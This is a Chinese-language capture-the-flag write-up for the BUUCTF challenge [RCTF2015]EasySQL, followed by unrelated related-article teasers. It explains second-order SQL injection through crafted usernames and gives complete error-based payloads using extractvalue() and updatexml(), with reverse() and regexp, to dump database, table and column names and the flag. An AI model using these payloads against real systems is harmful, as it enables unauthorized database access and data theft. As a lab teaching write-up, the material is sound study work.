2025.1.20——一、[RCTF2015]EasySQL1 二次注入|報錯注入|代碼審計

題目來源:buuctf?[RCTF2015]EasySQL1

目錄

一、打開靶機,整理信息

二、解題思路

step 1:初步思路為二次注入,在頁面進行操作

step 2:嘗試二次注入

step 3:已知雙引號類型的字符型注入,構造payload

step 4:報錯注入

step 5:三爆

方法①extractvalue()函數

方法②updatexml()函數

三、小結


一、打開靶機,整理信息

打開題目看到登陸和注冊兩個按鈕,前面做的二次注入題目跟這里也有相似點

????????網頁源碼中也提到了這兩個頁面

? ? ? ? 而靶機給了這道題的源碼,可以進行代碼審計,看看有無熟悉的東西

二、解題思路

step 1:初步思路為二次注入,在頁面進行操作

輸入:username=admin? ? password=1

發現得到回顯:

說明已存在admin用戶名,那能否用sql注入登陸admin用戶呢?

這里初步斷定為二次注入,可以嘗試一下,二次注入的核心思想,參考sql-labs less24

二次注入條件:注冊時sql語句無效(被轉義),登陸時or修改密碼(需要用到username進行比對時)sql語句生效(去掉轉義)

二次注入核心步驟

step1:注冊一個輔助帳號:admin' #

step2:修改輔助帳號密碼

step3:登陸admin賬號,用輔助帳號密碼,即可登陸進去

step 2:嘗試二次注入

1.先注冊一個輔助帳號:username=‘admin'#' and? password='111'? (這里用單引號因為是字符串)

這里帶空格注冊,會顯示invalid string,空格應該是被過濾了,二次注入嘗試后,可以抓包fuzz一下

2.登陸輔助帳號?下面的內容是作者玩梗,沒用

3.點擊用戶名修改密碼為222

4.登陸admin賬號,用password=222,登陸失敗,沒想到慘遭滑鐵盧。

? ? ? ? 在這糾結了很久,然后發現有可能是雙引號類型的注入,重新二次注入,修改輔助帳號username=admin"#? password=111,重復上述操作,登陸admin賬號,用修改后的password=222,登陸成功,但是沒有關于flag的信息

但至少我們知道了這里存在二次注入漏洞,而且注入點在username,并猜測后端sql語句為

select * from user where username="xxx" and password='xxx'

step 3:已知雙引號類型的字符型注入,構造payload

? ? ? ? 這里需要注意的是前面用username=admin' #進行注冊時,顯示invalid string,說明這里存在過濾,bp抓包爆破一下,看看用什么方法注入

? ? ? ? 發現length、handler、like、sleep、select、left、right、and、floor、rand()等都被過濾掉了,感覺熟悉的報錯注入在等著我們,extractvalue()和updatexml()未被過濾,所以可以進行報錯注入了

插入:題目附帶的源碼中有提到這一點,所以代碼審計很重要,很多東西都藏好了

step 4:報錯注入

? ? ? ? 看了其他師傅的wp,用username=1'"注冊登陸進去修改用戶名,回顯

? ? ? ? 目前確定下來注入點在username,但回顯點在修改密碼那里,要用報錯注入,雙引號類型注入,構造payload,查看數據庫中的表名。

這段代碼給了我們sql語句

注:stripslashes函數是去除反斜杠的意思

所以用含有sql注入語句的用戶名注冊,登陸進去,修改密碼時,語句生效?

step 5:三爆

方法①extractvalue()函數

爆數據庫名

admin"||extractvalue(1,concat(0x7e,(select(database())),0x7e))#

爆表名

admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#

爆列名

admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')))#

爆flag

admin"||extractvalue(1,concat(0x7e,(select(flag)from(flag))))#

看來不在flag列里,看看user表

admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))#

????????因為前面提到left()和right()都被過濾了,這里用reverse()函數,將報錯回顯的結果倒置,以此來查看末尾未顯示的信息。

admin"||extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'))))#

? ? ? ? 所以正確表名為:real_flag_1s_here,獲取flag

admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users))))#

發現結果超過一行,所以這里用正則表達式獲取flag值

admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f'))))#

flag{847e1ca4-00e4-4fbd-a986-cb,extractvalue函數只能顯示32位,所以仍然用reverse()函數

admin"||extractvalue(1,concat(0x7e,reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')))))#

~}bbe2976fdabc-689a-dbf4-4e00-4a 倒置后得a4-00e4-4fbd-a986-cbadf6792ebb}

所以flag為flag{847e1ca4-00e4-4fbd-a986-cbadf6792ebb}

方法②updatexml()函數

爆數據庫名

admin"||(updatexml(1,concat('~',(select(database()))),1))#

爆表名

admin"||(updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli'))),1))#

爆列名

admin"||(updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1))#

爆flag

admin"||(updatexml(1,concat('~',(select(group_concat(flag))from(flag))),1))#

換user表查詢

admin"||(updatexml(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),1))#

用正則表達式

admin"||(updatexml(1,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')),1))#

reverse函數輸出

admin"||(updatexml(1,concat('~',reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

同樣得到flag

三、小結

1.注意當整數型、字符型(單引號)注入失敗,不要忘了雙引號型注入

2.要判斷回顯點,尤其是二次注入里,用閉合雙引號后為空,看哪里有報錯回顯

3.當回顯信息行數太多,無法顯示,用正則表達式

4.當left()和right()函數都被過濾,可以用reverse()函數將flag倒置,然后再翻過來

5.源碼中有很多信息,比如被過濾的字符,比如數據庫名、表名

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/66797.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/66797.shtml
英文地址,請注明出處:http://en.pswp.cn/web/66797.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

”彩色的驗證碼,使用pytesseract識別出來的驗證碼內容一直是空“的解決辦法

問題:彩色的驗證碼,使用pytesseract識別出來的驗證碼內容一直是空字符串 原因:pytesseract只識別黑色部分的內容 解決辦法:先把彩色圖片精確轉換成黑白圖片。再將黑白圖片進行反相,將驗證碼部分的內容變成黑色&#…

Unity3D項目開發中的資源加密詳解

前言 在Unity3D游戲開發中,保護游戲資源不被非法獲取和篡改是至關重要的一環。資源加密作為一種有效的技術手段,可以幫助開發者維護游戲的知識產權和安全性。本文將詳細介紹Unity3D項目中如何進行資源加密,并提供相應的技術詳解和代碼實現。…

RabbitMQ 在實際應用時要注意的問題

1. 冪等性保障 1.1 冪等性介紹 冪等性是數學和計算機科學中某些運算的性質,它們可以被多次應?,?不會改變初始應?的結果. 應?程序的冪等性介紹 在應?程序中,冪等性就是指對?個系統進?重復調?(相同參數),不論請求多少次,這些請求對系統的影響都是相同的效果. ?如數據庫…

AIGC視頻生成明星——Emu Video模型

大家好,這里是好評筆記,公主號:Goodnote,專欄文章私信限時Free。本文詳細介紹Meta的視頻生成模型Emu Video,作為Meta發布的第二款視頻生成模型,在視頻生成領域發揮關鍵作用。 🌺優質專欄回顧&am…

Debian 上安裝PHP

1、安裝軟件源拓展工具 apt -y install software-properties-common apt-transport-https lsb-release ca-certificates 2、添加 Ond?ej Sur 的 PHP PPA 源,需要按一次回車: add-apt-repository ppa:ondrej/php 3、更新軟件源緩存: apt-g…

office 2019 關閉word窗口后卡死未響應

最近關閉word文件總是出現卡死未響應的狀態,必須從任務管理器才能殺掉word 進程,然后重新打開word再保存,很是麻煩。(#其他特征,在word中打字會特別變慢,敲擊鍵盤半秒才出現字符。) office官網…

SecureUtil.aes數據加密工具類

數據加密、解密工具類 包含map和vo的數據轉換 import cn.hutool.core.bean.BeanUtil; import cn.hutool.crypto.SecureUtil;import java.util.HashMap; import java.util.Map;/*** 數據解析**/ public class ParamUtils {/*** 數據解密** param params 參數* param secretKe…

機器學習:支持向量機

支持向量機(Support Vector Machine)是一種二類分類模型,其基本模型定義為特征空間上的間隔最大的廣義線性分類器,其學習策略便是間隔最大化,最終可轉化為一個凸二次規劃問題的求解。 假設兩類數據可以被 H x : w T x…

SQL-leetcode—1148. 文章瀏覽 I

1148. 文章瀏覽 I Views 表: ---------------------- | Column Name | Type | ---------------------- | article_id | int | | author_id | int | | viewer_id | int | | view_date | date | ---------------------- 此表可能會存在重復行。(換句話說…

k8s資源預留

k8s資源預留 https://kubernetes.io/zh-cn/docs/tasks/administer-cluster/reserve-compute-resources/ vim /var/lib/kubelet/config.yamlenforceNodeAllocatable: - pods kubeReserved: # 配置 kube 資源預留cpu: 500mmemory: 1Giephemeral-storage: 1Gi systemReserved: #…

[STM32 HAL庫]串口空閑中斷+DMA接收不定長數據

一、空閑中斷 STM32的串口具有空閑中斷,什么叫做空閑呢?如何觸發空閑中斷呢? 空閑:串口發送的兩個字符之間間隔非常短,所以在兩個字符之間不叫空閑。空閑的定義是總線上在一個字節的時間內沒有再接收到數據。觸發條件…

Unity Line Renderer Component入門

Overview Line Renderer 組件是 Unity 中用于繪制連續線段的工具。它通過在三維空間中的兩個或兩個以上的點的數組,并在每個點之間繪制一條直線。可以繪制從簡單的直線到復雜的螺旋線等各種圖形。 1. 連續性和獨立線條 連續性:Line Renderer 繪制的線條…

純 Python、Django、FastAPI、Flask、Pyramid、Jupyter、dbt 解析和差異分析

一、純 Python 1.1 基礎概念 Python 是一種高級、通用、解釋型的編程語言,以其簡潔易讀的語法和豐富的標準庫而聞名。“純 Python” 在這里指的是不依賴特定的 Web 框架或數據分析工具,僅使用 Python 原生的功能和標準庫來開發應用程序或執行任務。 1.…

SQL記錄學習日志

刪除表 DROP TABLE:徹底刪除表和其數據,無法恢復。 DROP TABLE IF EXISTS:在刪除之前檢查表是否存在。 TRUNCATE TABLE:刪除所有數據,但保留表的結構。 DELETE:刪除表中的所有數據,但保留表的結…

QT:tftp client 和 Server

1.TFTP簡介 TFTP(Trivial File Transfer Protocol,簡單文件傳輸協議)是TCP/IP協議族中的一個用來在客戶機與服務器之間進行簡單文件傳輸的協議,提供不復雜、開銷不大的文件傳輸服務。端口號為69。 FTP是一個傳輸文件的簡單協議,…

WPF5-x名稱空間

1. x名稱空間2. x名稱空間內容3. x名稱空間內容分類 3.1. x:Name3.2. x:Key3.3. x:Class3.4. x:TypeArguments 4. 總結 1. x名稱空間 “x名稱空間”的x是映射XAML名稱空間時給它取的名字(取XAML的首字母),里面的成員(如x:Class、…

前端jquery 實現文本框輸入出現自動補全提示功能

git倉庫:web_study/some-demos/inputAutoFit at main Cong0925/web_study (github.com) 壓縮包:已綁定到指定資源 示例圖: 實現說明: 1.首先,html部分設置好相關的定位標簽如圖: 2.主要函數 3.默認數據

緩存之美:萬文詳解 Caffeine 實現原理(上)

由于社區最大字數限制,本文章將分為兩篇,第二篇文章為緩存之美:萬文詳解 Caffeine 實現原理(下) 大家好,我是 方圓。文章將采用“總-分-總”的結構對配置固定大小元素驅逐策略的 Caffeine 緩存進行介紹&…

Qt實踐:一個簡單的絲滑側滑欄實現

Qt實踐:一個簡單的絲滑側滑欄實現 筆者前段時間突然看到了側滑欄,覺得這個抽屜式的側滑欄非常的有趣,打算這里首先嘗試實現一個簡單的絲滑側滑欄。 首先是上效果圖 (C,GIF幀率砍到毛都不剩了) QProperty…

工作流引擎Camunda與LiteFlow核心組件對比

以下為 Camunda 7 和 LiteFlow 詳細的介紹,包括它們的核心組件和用途。 1. Camunda 7 詳細介紹 Camunda 7 是一個基于 BPMN 2.0 標準的企業級工作流和決策自動化平臺。它被廣泛應用于復雜業務流程的管理和執行,其核心目標是通過流程自動化來提升企業效…